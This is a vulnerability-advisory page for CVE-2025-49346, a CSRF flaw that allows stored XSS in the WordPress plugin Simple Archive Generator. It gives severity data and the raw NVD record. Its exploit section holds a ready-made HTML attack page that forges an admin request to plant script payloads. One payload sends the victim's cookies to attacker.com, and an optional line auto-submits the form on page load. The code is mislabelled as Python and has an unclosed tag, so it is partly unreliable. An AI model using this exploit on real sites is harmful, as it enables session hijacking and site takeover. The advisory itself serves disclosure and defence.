Security Vulnerability Report
中文
CVE-2025-49346 CVSS 7.1 HIGH

CVE-2025-49346

Published: 2025-12-31 05:16:07
Last Modified: 2026-04-23 15:31:31

Description

Cross-Site Request Forgery (CSRF) vulnerability in peterwsterling Simple Archive Generator simple-archive-generator allows Stored XSS.This issue affects Simple Archive Generator: from n/a through <= 5.2.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WordPress Simple Archive Generator (simple-archive-generator) <= 5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-49346 PoC: CSRF to Stored XSS in Simple Archive Generator --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - Simple Archive Generator XSS</title> </head> <body> <h2>CVE-2025-49346 CSRF Stored XSS PoC</h2> <p>Click the button below to trigger the vulnerability (requires admin login):</p> <form action="http://target-site/wp-admin/admin-post.php" method="POST" id="exploitForm"> <!-- Base parameters for archive creation --> <input type="hidden" name="action" value="save_archive"> <input type="hidden" name="post_type" value="sag_archive"> <!-- Archive title with XSS payload --> <input type="hidden" name="post_title" value="Archive<script>alert('XSS by CVE-2025-49346')</script>"> <!-- Archive content with XSS payload --> <input type="hidden" name="post_content" value="<img src=x onerror=alert(document.cookie)>" <!-- Additional required fields --> <input type="hidden" name="sag_options[description]" value="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"> <input type="hidden" name="sag_options[category]" value="1"> </form> <button onclick="document.getElementById('exploitForm').submit()">Execute Exploit</button> <script> // Auto-submit on page load (for seamless attack) // window.onload = function() { document.getElementById('exploitForm').submit(); }; </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49346", "sourceIdentifier": "[email protected]", "published": "2025-12-31T05:16:06.637", "lastModified": "2026-04-23T15:31:30.530", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in peterwsterling Simple Archive Generator simple-archive-generator allows Stored XSS.This issue affects Simple Archive Generator: from n/a through <= 5.2."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Peter Sterling Simple Archive Generator permite XSS almacenado. Este problema afecta a Simple Archive Generator: desde n/a hasta 5.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-archive-generator/vulnerability/wordpress-simple-archive-generator-plugin-5-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}